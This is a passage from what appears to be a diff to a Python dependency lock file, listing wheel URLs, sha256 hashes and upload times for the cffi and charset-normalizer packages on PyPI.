"https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, + { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, + { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, + { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, + { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, + { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, + { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7b/60/e3bec1881450851b087e301bedc3daa9377a4d45f1c26aa90b0b235e38aa/charset_normalizer-3.4.6.tar.gz", hash = "sha256:1ae6b62897110aa7c79ea2f5dd38d1abca6db663687c0b1ad9aed6f6bae3d9d6", size = 143363, upload-time = "2026-03-15T18:53:25.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/28/ff6f234e628a2de61c458be2779cb182bc03f6eec12200d4a525bbfc9741/charset_normalizer-3.4.6-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:82060f995ab5003a2d6e0f4ad29065b7672b6593c8c63559beefe5b443242c3e", size = 293582, upload-time = "2026-03-15T18:50:25.454Z" }, + { url = "https://files.pythonhosted.org/packages/1c/b7/b1a117e5385cbdb3205f6055403c2a2a220c5ea80b8716c324eaf75c5c95/charset_normalizer-3.4.6-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60c74963d8350241a79cb8feea80e54d518f72c26db618862a8f53e5023deaf9", size = 197240, upload-time = "2026-03-15T18:50:27.196Z" }, + { url = "https://files.pythonhosted.org/packages/a1/5f/2574f0f09f3c3bc1b2f992e20bce6546cb1f17e111c5be07308dc5427956/charset_normalizer-3.4.6-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6e4333fb15c83f7d1482a76d45a0818897b3d33f00efd215528ff7c51b8e35d", size = 217363, upload-time = "2026-03-15T18:50:28.601Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d1/0ae20ad77bc949ddd39b51bf383b6ca932f2916074c95cad34ae465ab71f/charset_normalizer-3.4.6-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bc72863f4d9aba2e8fd9085e63548a324ba706d2ea2c83b260da08a59b9482de", size = 212994, upload-time = "2026-03-15T18:50:30.102Z" }, + { url = "https://files.pythonhosted.org/packages/60/ac/3233d262a310c1b12633536a07cde5ddd16985e6e7e238e9f3f9423d8eb9/charset_normalizer-3.4.6-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9cc4fc6c196d6a8b76629a70ddfcd4635a6898756e2d9cac5565cf0654605d73", size = 204697, upload-time = "2026-03-15T18:50:31.654Z" }, + { url = "https://files.pythonhosted.org/packages/25/3c/8a18fc411f085b82303cfb7154eed5bd49c77035eb7608d049468b53f87c/charset_normalizer-3.4.6-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:0c173ce3a681f309f31b87125fecec7a5d1347261ea11ebbb856fa6006b23c8c", size = 191673, upload-time = "2026-03-15T18:50:33.433Z" }, + { url = "https://files.pythonhosted.org/packages/ff/a7/11cfe61d6c5c5c7438d6ba40919d0306ed83c9ab957f3d4da2277ff67836/charset_normalizer-3.4.6-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c907cdc8109f6c619e6254212e794d6548373cc40e1ec75e6e3823d9135d29cc", size = 201120, upload-time = "2026-03-15T18:50:35.105Z" }, + { url = "https://files.pythonhosted.org/packages/b5/10/cf491fa1abd47c02f69687046b896c950b92b6cd7337a27e6548adbec8e4/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:404a1e552cf5b675a87f0651f8b79f5f1e6fd100ee88dc612f89aa16abd4486f", size = 200911, upload-time = "2026-03-15T18:50:36.819Z" }, + { url = "https://files.pythonhosted.org/packages/28/70/039796160b48b18ed466fde0af84c1b090c4e288fae26cd674ad04a2d703/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e3c701e954abf6fc03a49f7c579cc80c2c6cc52525340ca3186c41d3f33482ef", size = 192516, upload-time = "2026-03-15T18:50:38.228Z" }, + { url = "https://files.pythonhosted.org/packages/ff/34/c56f3223393d6ff3124b9e78f7de738047c2d6bc40a4f16ac0c9d7a1cb3c/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:7a6967aaf043bceabab5412ed6bd6bd26603dae84d5cb75bf8d9a74a4959d398", size = 218795, upload-time = "2026-03-15T18:50:39.664Z" }, + { url = "https://files.pythonhosted.org/packages/e8/3b/ce2d4f86c5282191a041fdc5a4ce18f1c6bd40a5bd1f74cf8625f08d51c1/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5feb91325bbceade6afab43eb3b508c63ee53579fe896c77137ded51c6b6958e", size = 201833, upload-time = "2026-03-15T18:50:41.552Z" }, + { url = "https://files.pythonhosted.org/packages/3b/9b/b6a9f76b0fd7c5b5ec58b228ff7e85095370282150f0bd50b3126f5506d6/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f820f24b09e3e779fe84c3c456cb4108a7aa639b0d1f02c28046e11bfcd088ed", size = 213920, upload-time = "2026-03-15T18:50:43.33Z" }, + { url = "https://files.pythonhosted.org/packages/ae/98/7bc23513a33d8172365ed30ee3a3b3fe1ece14a395e5fc94129541fc6003/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b35b200d6a71b9839a46b9b7fff66b6638bb52fc9658aa58796b0326595d3021", size = 206951, upload-time = "2026-03-15T18:50:44.789Z" }, + { url = "https://files.pythonhosted.org/packages/32/73/c0b86f3d1458468e11aec870e6b3feac931facbe105a894b552b0e518e79/charset_normalizer-3.4.6-cp311-cp311-win32.whl", hash = "sha256:9ca4c0b502ab399ef89248a2c84c54954f77a070f28e546a85e91da627d1301e", size = 143703, upload-time = "2026-03-15T18:50:46.103Z" }, + { url = "https://files.pythonhosted.org/packages/c6/e3/76f2facfe8eddee0bbd38d2594e709033338eae44ebf1738bcefe0a06185/charset_normalizer-3.4.6-cp311-cp311-win_amd64.whl", hash = "sha256:a9e68c9d88823b274cf1e72f28cb5dc89c990edf430b0bfd3e2fb0785bfeabf4", size = 153857, upload-time = "2026-03-15T18:50:47.563Z" }, + { url = "https://files.pythonhosted.org/packages/e2/dc/9abe19c9b27e6cd3636036b9d1b387b78c40dedbf0b47f9366737684b4b0/charset_normalizer-3.4.6-cp311-cp311-win_arm64.whl", hash = "sha256:97d0235baafca5f2b09cf332cc275f021e694e8362c6bb9c96fc9a0eb74fc316", size = 142751, upload-time = "2026-03-15T18:50:49.234Z" }, + { url = "https://files.pythonhosted.org/packages/e5/62/c0815c992c9545347aeea7859b50dc9044d147e2e7278329c6e02ac9a616/charset_normalizer-3.4.6-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2ef7fedc7a6ecbe99969cd09632516738a97eeb8bd7258bf8a0f23114c057dab", size = 295154, upload-time = "2026-03-15T18:50:50.88Z" }, + { url = "https://files.pythonhosted.org/packages/a8/37/bdca6613c2e3c58c7421891d80cc3efa1d32e882f7c4a7ee6039c3fc951a/charset_normalizer-3.4.6-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a4ea868bc28109052790eb2b52a9ab33f3aa7adc02f96673526ff47419490e21", size = 199191, upload-time = "2026-03-15T18:50:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/6c/92/9934d1bbd69f7f398b38c5dae1cbf9cc672e7c34a4adf7b17c0a9c17d15d/charset_normalizer-3.4.6-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:836ab36280f21fc1a03c99cd05c6b7af70d2697e374c7af0b61ed271401a72a2", size = 218674, upload-time = "2026-03-15T18:50:54.102Z" }, + { url = "https://files.pythonhosted.org/packages/af/90/25f6ab406659286be929fd89ab0e78e38aa183fc374e03aa3c12d730af8a/charset_normalizer-3.4.6-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f1ce721c8a7dfec21fcbdfe04e8f68174183cf4e8188e0645e92aa23985c57ff", size = 215259, upload-time = "2026-03-15T18:50:55.616Z" }, + { url = "https://files.pythonhosted.org/packages/4e/ef/79a463eb0fff7f96afa04c1d4c51f8fc85426f918db467854bfb6a569ce3/charset_normalizer-3.4.6-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e28d62a8fc7a1fa411c43bd65e346f3bce9716dc51b897fbe930c5987b402d5", size = 207276, upload-time = "2026-03-15T18:50:57.054Z" }, + { url = "https://files.pythonhosted.org/packages/f7/72/d0426afec4b71dc159fa6b4e68f868cd5a3ecd918fec5813a15d292a7d10/charset_normalizer-3.4.6-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:530d548084c4a9f7a16ed4a294d459b4f229db50df689bfe92027452452943a0", size = 195161, upload-time = "2026-03-15T18:50:58.686Z" }, + { url = "https://files.pythonhosted.org/packages/bf/18/c82b06a68bfcb6ce55e508225d210c7e6a4ea122bfc0748892f3dc4e8e11/charset_normalizer-3.4.6-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:30f445ae60aad5e1f8bdbb3108e39f6fbc09f4ea16c815c66578878325f8f15a", size = 203452, upload-time = "2026-03-15T18:51:00.196Z" }, + { url = "https://files.pythonhosted.org/packages/44/d6/0c25979b92f8adafdbb946160348d8d44aa60ce99afdc27df524379875cb/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ac2393c73378fea4e52aa56285a3d64be50f1a12395afef9cce47772f60334c2", size = 202272, upload-time = "2026-03-15T18:51:01.703Z" }, + { url = "https://files.pythonhosted.org/packages/2e/3d/7fea3e8fe84136bebbac715dd1221cc25c173c57a699c030ab9b8900cbb7/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:90ca27cd8da8118b18a52d5f547859cc1f8354a00cd1e8e5120df3e30d6279e5", size = 195622, upload-time = "2026-03-15T18:51:03.526Z" }, + { url = "https://files.pythonhosted.org/packages/57/8a/d6f7fd5cb96c58ef2f681424fbca01264461336d2a7fc875e4446b1f1346/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8e5a94886bedca0f9b78fecd6afb6629142fd2605aa70a125d49f4edc6037ee6", size = 220056, upload-time = "2026-03-15T18:51:05.269Z" }, + { url = "https://files.pythonhosted.org/packages/16/50/478cdda782c8c9c3fb5da3cc72dd7f331f031e7f1363a893cdd6ca0f8de0/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:695f5c2823691a25f17bc5d5ffe79fa90972cc34b002ac6c843bb8a1720e950d", size = 203751, upload-time = "2026-03-15T18:51:06.858Z" }, + { url = "https://files.pythonhosted.org/packages/75/fc/cc2fcac943939c8e4d8791abfa139f685e5150cae9f94b60f12520feaa9b/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:231d4da14bcd9301310faf492051bee27df11f2bc7549bc0bb41fef11b82daa2", size = 216563, upload-time = "2026-03-15T18:51:08.564Z" }, + { url = "https://files.pythonhosted.org/packages/a8/b7/a4add1d9a5f68f3d037261aecca83abdb0ab15960a3591d340e829b37298/charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a056d1ad2633548ca18ffa2f85c202cfb48b68615129143915b8dc72a806a923", size = 209265, upload-time = "2026-03-15T18:51:10.312Z" }, + { url = "https://files.pythonhosted.org/packages/6c/18/c094561b5d64a24277707698e54b7f67bd17a4f857bbfbb1072bba07c8bf/charset_normalizer-3.4.6-cp312-cp312-win32.whl", hash = "sha256:c2274ca724536f173122f36c98ce188fd24ce3dad886ec2b7af859518ce008a4", size = 144229, upload-time = "2026-03-15T18:51:11.694Z" }, + { url = "https://files.pythonhosted.org/packages/ab/20/0567efb3a8fd481b8f34f739ebddc098ed062a59fed41a8d193a61939e8f/charset_normalizer-3.4.6-cp312-cp312-win_amd64.whl", hash = "sha256:c8ae56368f8cc97c7e40a7ee18e1cedaf8e780cd8bc5ed5ac8b81f238614facb", size = 154277, upload-time = "2026-03-15T18:51:13.004Z" }, + { url = "https://files.pythonhosted.org/packages/15/57/28d79b44b51933119e21f65479d0864a8d5893e494cf5daab15df0247c17/charset_normalizer-3.4.6-cp312-cp312-win_arm64.whl", hash = "sha256:899d28f422116b08be5118ef350c292b36fc15ec2daeb9ea987c89281c7bb5c4", size = 142817, upload-time = "2026-03-15T18:51:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/1e/1d/4fdabeef4e231153b6ed7567602f3b68265ec4e5b76d6024cf647d43d981/charset_normalizer-3.4.6-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:11afb56037cbc4b1555a34dd69151e8e069bee82e613a73bef6e714ce733585f", size = 294823, upload-time = "2026-03-15T18:51:15.755Z" }, + { url = "https://files.pythonhosted.org/packages/47/7b/20e809b89c69d37be748d98e84dce6820bf663cf19cf6b942c951a3e8f41/charset_normalizer-3.4.6-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:423fb7e748a08f854a08a222b983f4df1912b1daedce51a72bd24fe8f26a1843", size = 198527, upload-time = "2026-03-15T18:51:17.177Z" }, + { url = "https://files.pythonhosted.org/packages/37/a6/4f8d27527d59c039dce6f7622593cdcd3d70a8504d87d09eb11e9fdc6062/charset_normalizer-3.4.6-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d73beaac5e90173ac3deb9928a74763a6d230f494e4bfb422c217a0ad8e629bf", size = 218388, upload-time = "2026-03-15T18:51:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/f6/9b/4770ccb3e491a9bacf1c46cc8b812214fe367c86a96353ccc6daf87b01ec/charset_normalizer-3.4.6-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d60377dce4511655582e300dc1e5a5f24ba0cb229005a1d5c8d0cb72bb758ab8", size = 214563, upload-time = "2026-03-15T18:51:20.374Z" }, + { url = "https://files.pythonhosted.org/packages/2b/58/a199d245894b12db0b957d627516c78e055adc3a0d978bc7f65ddaf7c399/charset_normalizer-3.4.6-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:530e8cebeea0d76bdcf93357aa5e41336f48c3dc709ac52da2bb167c5b8271d9", size = 206587, upload-time = "2026-03-15T18:51:21.807Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/3def227f1ec56f5c69dfc8392b8bd63b11a18ca8178d9211d7cc5e5e4f27/charset_normalizer-3.4.6-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:a26611d9987b230566f24a0a125f17fe0de6a6aff9f25c9f564aaa2721a5fb88", size = 194724, upload-time = "2026-03-15T18:51:23.508Z" }, + { url = "https://files.pythonhosted.org/packages/58/ab/9318352e220c05efd31c2779a23b50969dc94b985a2efa643ed9077bfca5/charset_normalizer-3.4.6-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:34315ff4fc374b285ad7f4a0bf7dcbfe769e1b104230d40f49f700d4ab6bbd84", size = 202956, upload-time = "2026-03-15T18:51:25.239Z" }, + { url = "https://files.pythonhosted.org/packages/75/13/f3550a3ac25b70f87ac98c40d3199a8503676c2f1620efbf8d42095cfc40/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5f8ddd609f9e1af8c7bd6e2aca279c931aefecd148a14402d4e368f3171769fd", size = 201923, upload-time = "2026-03-15T18:51:26.682Z" }, + { url = "https://files.pythonhosted.org/packages/1b/db/c5c643b912740b45e8eec21de1bbab8e7fc085944d37e1e709d3dcd9d72f/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:80d0a5615143c0b3225e5e3ef22c8d5d51f3f72ce0ea6fb84c943546c7b25b6c", size = 195366, upload-time = "2026-03-15T18:51:28.129Z" }, + { url = "https://files.pythonhosted.org/packages/5a/67/3b1c62744f9b2448443e0eb160d8b001c849ec3fef591e012eda6484787c/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:92734d4d8d187a354a556626c221cd1a892a4e0802ccb2af432a1d85ec012194", size = 219752, upload-time = "2026-03-15T18:51:29.556Z" }, + { url = "https://files.pythonhosted.org/packages/f6/98/32ffbaf7f0366ffb0445930b87d103f6b406bc2c271563644bde8a2b1093/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:613f19aa6e082cf96e17e3ffd89383343d0d589abda756b7764cf78361fd41dc", size = 203296, upload-time = "2026-03-15T18:51:30.921Z" }, + { url = "https://files.pythonhosted.org/packages/41/12/5d308c1bbe60cabb0c5ef511574a647067e2a1f631bc8634fcafaccd8293/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:2b1a63e8224e401cafe7739f77efd3f9e7f5f2026bda4aead8e59afab537784f", size = 215956, upload-time = "2026-03-15T18:51:32.399Z" }, + { url = "https://files.pythonhosted.org/packages/53/e9/5f85f6c5e20669dbe56b165c67b0260547dea97dba7e187938833d791687/charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6cceb5473417d28edd20c6c984ab6fee6c6267d38d906823ebfe20b03d607dc2", size = 208652, upload-time = "2026-03-15T18:51:34.214Z" }, + { url = "https://files.pythonhosted.org/packages/f1/11/897052ea6af56df3eef3ca94edafee410ca699ca0c7b87960ad19932c55e/charset_normalizer-3.4.6-cp313-cp313-win32.whl", hash = "sha256:d7de2637729c67d67cf87614b566626057e95c303bc0a55ffe391f5205e7003d", size = 143940, upload-time = "2026-03-15T18:51:36.15Z" }, + { url = "https://files.pythonhosted.org/packages/a1/5c/724b6b363603e419829f561c854b87ed7c7e31231a7908708ac086cdf3e2/charset_normalizer-3.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:572d7c822caf521f0525ba1bce1a622a0b85cf47ffbdae6c9c19e3b5ac3c4389", size = 154101, upload-time = "2026-03-15T18:51:37.876Z" }, + { url = "https://files.pythonhosted.org/packages/01/a5/7abf15b4c0968e47020f9ca0935fb3274deb87cb288cd187cad92e8cdffd/charset_normalizer-3.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:a4474d924a47185a06411e0064b803c68be044be2d60e50e8bddcc2649957c1f", size = 143109, upload-time = "2026-03-15T18:51:39.565Z" }, + { url = "https://files.pythonhosted.org/packages/25/6f/ffe1e1259f384594063ea1869bfb6be5cdb8bc81020fc36c3636bc8302a1/charset_normalizer-3.4.6-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:9cc6e6d9e571d2f863fa77700701dae73ed5f78881efc8b3f9a4398772ff53e8", size = 294458, upload-time = "2026-03-15T18:51:41.134Z" }, + { url = "https://files.pythonhosted.org/packages/56/60/09bb6c13a8c1016c2ed5c6a6488e4ffef506461aa5161662bd7636936fb1/charset_normalizer-3.4.6-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef5960d965e67165d75b7c7ffc60a83ec5abfc5c11b764ec13ea54fbef8b4421", size = 199277, upload-time = "2026-03-15T18:51:42.953Z" }, + { url = "https://files.pythonhosted.org/packages/00/50/dcfbb72a5138bbefdc3332e8d81a23494bf67998b4b100703fd15fa52d81/charset_normalizer-3.4.6-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b3694e3f87f8ac7ce279d4355645b3c878d24d1424581b46282f24b92f5a4ae2", size = 218758, upload-time = "2026-03-15T18:51:44.339Z" }, + { url = "https://files.pythonhosted.org/packages/03/b3/d79a9a191bb75f5aa81f3aaaa387ef29ce7cb7a9e5074ba8ea095cc073c2/charset_normalizer-3.4.6-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5d11595abf8dd942a77883a39d81433739b287b6aa71620f15164f8096221b30", size = 215299, upload-time = "2026-03-15T18:51:45.871Z" }, + { url = "https://files.pythonhosted.org/packages/76/7e/bc8911719f7084f72fd545f647601ea3532363927f807d296a8c88a62c0d/charset_normalizer-3.4.6-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7bda6eebafd42133efdca535b04ccb338ab29467b3f7bf79569883676fc628db", size = 206811, upload-time = "2026-03-15T18:51:47.308Z" }, + { url = "https://files.pythonhosted.org/packages/e2/40/c430b969d41dda0c465aa36cc7c2c068afb67177bef50905ac371b28ccc7/charset_normalizer-3.4.6-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:bbc8c8650c6e51041ad1be191742b8b421d05bbd3410f43fa2a00c8db87678e8", size = 193706, upload-time = "2026-03-15T18:51:48.849Z" }, + { url = "https://files.pythonhosted.org/packages/48/15/e35e0590af254f7df984de1323640ef375df5761f615b6225ba8deb9799a/charset_normalizer-3.4.6-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:22c6f0c2fbc31e76c3b8a86fba1a56eda6166e238c29cdd3d14befdb4a4e4815", size = 202706, upload-time = "2026-03-15T18:51:50.257Z" }, + { url = "https://files.pythonhosted.org/packages/5e/bd/f736f7b9cc5e93a18b794a50346bb16fbfd6b37f99e8f306f7951d27c17c/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7edbed096e4a4798710ed6bc75dcaa2a21b68b6c356553ac4823c3658d53743a", size = 202497, upload-time = "2026-03-15T18:51:52.012Z" }, + { url = "https://files.pythonhosted.org/packages/9d/ba/2cc9e3e7dfdf7760a6ed8da7446d22536f3d0ce114ac63dee2a5a3599e62/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:7f9019c9cb613f084481bd6a100b12e1547cf2efe362d873c2e31e4035a6fa43", size = 193511, upload-time = "2026-03-15T18:51:53.723Z" }, + { url = "https://files.pythonhosted.org/packages/9e/cb/5be49b5f776e5613be07298c80e1b02a2d900f7a7de807230595c85a8b2e/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:58c948d0d086229efc484fe2f30c2d382c86720f55cd9bc33591774348ad44e0", size = 220133, upload-time = "2026-03-15T18:51:55.333Z" }, + { url = "https://files.pythonhosted.org/packages/83/43/99f1b5dad345accb322c80c7821071554f791a95ee50c1c90041c157ae99/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:419a9d91bd238052642a51938af8ac05da5b3343becde08d5cdeab9046df9ee1", size = 203035, upload-time = "2026-03-15T18:51:56.736Z" }, + { url = "https://files.pythonhosted.org/packages/87/9a/62c2cb6a531483b55dddff1a68b3d891a8b498f3ca555fbcf2978e804d9d/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:5273b9f0b5835ff0350c0828faea623c68bfa65b792720c453e22b25cc72930f", size = 216321, upload-time = "2026-03-15T18:51:58.17Z" }, + { url = "https://files.pythonhosted.org/packages/6e/79/94a010ff81e3aec7c293eb82c28f930918e517bc144c9906a060844462eb/charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:0e901eb1049fdb80f5bd11ed5ea1e498ec423102f7a9b9e4645d5b8204ff2815", size = 208973, upload-time = "2026-03-15T18:51:59.998Z" }, + { url = "https://files.pythonhosted.org/packages/2a/57/4ecff6d4ec8585342f0c71bc03efaa99cb7468f7c91a57b105bcd561cea8/charset_normalizer-3.4.6-cp314-cp314-win32.whl", hash = "sha256:b4ff1d35e8c5bd078be89349b6f3a845128e685e751b6ea1169cf2160b344c4d", size = 144610, upload-time = "2026-03-15T18:52:02.213Z" }, + { url = "https://files.pythonhosted.org/packages/80/94/8434a02d9d7f168c25767c64671fead8d599744a05d6a6c877144c754246/charset_normalizer-3.4.6-cp314-cp314-win_amd64.whl", hash = "sha256:74119174722c4349af9708993118581686f343adc1c8c9c007d59be90d077f3f", size = 154962, upload-time = "2026-03-15T18:52:03.658Z" }, + { url = "https://files.pythonhosted.org/packages/46/4c/48f2cdbfd923026503dfd67ccea45c94fd8fe988d9056b468579c66ed62b/charset_normalizer-3.4.6-cp314-cp314-win_arm64.whl", hash = "sha256:e5bcc1a1ae744e0bb59641171ae53743760130600da8db48cbb6e4918e186e4e", size = 143595, upload-time = "2026-03-15T18:52:05.123Z" }, + { url = "https://files.pythonhosted.org/packages/31/93/8878be7569f87b14f1d52032946131bcb6ebbd8af3e20446bc04053dc3f1/charset_normalizer-3.4.6-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ad8faf8df23f0378c6d527d8b0b15ea4a2e23c89376877c598c4870d1b2c7866", size = 314828, upload-time = "2026-03-15T18:52:06.831Z" }, + { url = "https://files.pythonhosted.org/packages/06/b6/fae511ca98aac69ecc35cde828b0a3d146325dd03d99655ad38fc2cc3293/charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f5ea69428fa1b49573eef0cc44a1d43bebd45ad0c611eb7d7eac760c7ae771bc", size = 208138, upload-time = "2026-03-15T18:52:08.239Z" }, + { url = "https://files.pythonhosted.org/packages/54/57/64caf6e1bf07274a1e0b7c160a55ee9e8c9ec32c46846ce59b9c333f7008/charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:06a7e86163334edfc5d20fe104db92fcd666e5a5df0977cb5680a506fe26cc8e", size = 224679, upload-time = "2026-03-15T18:52:10.043Z" }, + { url = "https://files.pythonhosted.org/packages/aa/cb/9ff5a25b9273ef160861b41f6937f86fae18b0792fe0a8e75e06acb08f1d/charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", 